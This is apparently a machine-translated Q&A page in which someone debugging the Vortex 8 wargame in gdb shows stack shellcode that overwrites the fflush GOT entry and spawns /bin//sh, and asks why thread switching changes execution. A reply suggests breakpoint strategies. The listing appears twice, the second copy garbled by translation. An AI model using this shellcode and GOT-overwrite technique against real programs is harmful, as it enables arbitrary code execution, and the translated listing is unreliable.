Assembly 我不知道';我不知道为什么代码在gdb中以这种方式流动

Assembly 我不知道';我不知道为什么代码在gdb中以这种方式流动,assembly,gdb,reverse-engineering,exploit,Assembly,Gdb,Reverse Engineering,Exploit,我正在调试二进制文件(Vortex 8)。此程序使用pthread_create()函数运行两个线程。装配代码如下所示 (gdb) 0xbffffa01 in ?? () (gdb) x/i 0xbffff9fd 0xbffff9fd: nop 0xbffff9fe: jmp 0xbffffa0d 0xbffffa00: pop ebx 0xbffffa01: add ebx,0xb 0xbffffa04: mov eax,0x804a010 // addres

我正在调试二进制文件(Vortex 8)。此程序使用pthread_create()函数运行两个线程。装配代码如下所示

(gdb) 0xbffffa01 in ?? ()
(gdb) x/i 0xbffff9fd
0xbffff9fd: nop
0xbffff9fe: jmp    0xbffffa0d
0xbffffa00: pop    ebx
0xbffffa01: add    ebx,0xb
0xbffffa04: mov    eax,0x804a010      // address of fflush@got 
0xbffffa09: mov    DWORD PTR [eax],ebx // fflush@got change
0xbffffa0b: jmp    0xbffffa12
0xbffffa0d: call   0xbffffa00
...
0xbffffa1b: xor    eax,eax
0xbffffa1d: push   eax
0xbffffa1e: push   0x68732f2f
0xbffffa23: push   0x6e69622f
0xbffffa28: mov    ebx,esp
0xbffffa2a: push   eax
0xbffffa2b: push   ebx
0xbffffa2c: mov    ecx,esp
0xbffffa2e: mov    al,0xb
0xbffffa30: xor    edx,edx
0xbffffa32: int    0x80
(gdb) b * safecode + 40
(gdb) ni
[Switching to Thread 0xb7df8b40 (LWP 17523)]
Breakpoint 5, 0x08048685 in safecode ()
=> 0x8048685 <safecode+40>: call   0x80484d0 <fflush@plt>
0x804868a <safecode+45>:    mov    DWORD PTR [esp],0x1
0x8048691 <safecode+52>:    call   0x80484e0 <sleep@plt>
0x8048696 <safecode+57>:    jmp    0x804866a <safecode+13>
0x8048698 <unsafecode> :    push   ebp
(gdb) si
0x80484d0 <fflush@plt>: jmp    DWORD PTR ds:0x804a010
(gdb) ni
0xbffffa1b : xor eax, eax
0xbffffa1d: push   eax
0xbffffa1e: push   0x68732f2f
0xbffffa23: push   0x6e69622f
0xbffffa28: loopne 0xbffff9ae
(gdb)0xbffffa01英寸??()
(gdb)x/i 0xbffff9fd
0xbffff9fd:nop
0xbffff9fe:jmp 0xbffffa0d
0xbffffa00:pop ebx
0xbffffa01:添加ebx,0xb
0xbffffa04:mov eax,0x804a010//的地址fflush@got 
0xbffffa09:mov DWORD PTR[eax],ebx//fflush@got改变
0xbffffa0b:jmp 0xbffffa12
0xbffffa0d:调用0xbffffa00
...
0xbffffa1b:xor eax,eax
0xbffffa1d:推送eax
0xbffffa1e:推送0x68732F
0xbffffa23:按0x6e69622f
0xbffffa28:mov ebx,esp
0xbffffa2a:推送eax
0xbffffa2b:推送ebx
0xbffffa2c:mov ecx,esp
0xbffffa2e:mov al,0xb
0xbffffa30:xor edx,edx
0xbffffa32:int 0x80
(gdb)b*安全代码+40
(gdb)ni
[切换到线程0xb7df8b40(LWP 17523)]
安全代码()中的断点5,0x08048685
=>0x8048685:调用0x80484d0
0x804868a:mov DWORD PTR[esp],0x1
0x8048691:调用0x80484e0
0x8048696:jmp 0x804866a
0x8048698:推动ebp
(gdb)si
0x80484d0:jmp DWORD PTR ds:0x804a010
(gdb)ni
0xbffffa1b:xor eax,eax
0xbffffa1d:推送eax
0xbffffa1e:推送0x68732F
0xbffffa23:按0x6e69622f
0xbffffa28:loopne 0xbffff9ae
我不知道为什么第一个'ni'中的线程会发生变化。
在第一个‘ni’中,fflush@got未更改,因为线程更改发生在执行“0xbffffa09”之前。但是换线之后,,fflush@got已更改,因此fflush@got是我想要更改的0xbffffa1b。此外,更改了0xbffffa1b之后的代码。为什么?

您缺少一些信息,例如注册表值。异常发生在
0xbfffa01
处,该异常也不包括在输出中。可能是这种跳跃的结果:

0xbffff9fd:nop
0xbffff9fe:jmp 0xbffffa0d

我建议在
0xbfff9fd
处设置一个断点,方法是将
nop
(0x90)更改为
int 3
(0xCC),或者在
gdb
中设置断点,然后逐个执行代码指令,查看崩溃前发生的情况。

我发现在“[切换到线程0xb7df8b40]之前(LWP 17523)],EFLAGS是将0x202更改为0x286。这是什么意思?以及为什么EFLAGS会更改。我只保留“ni”。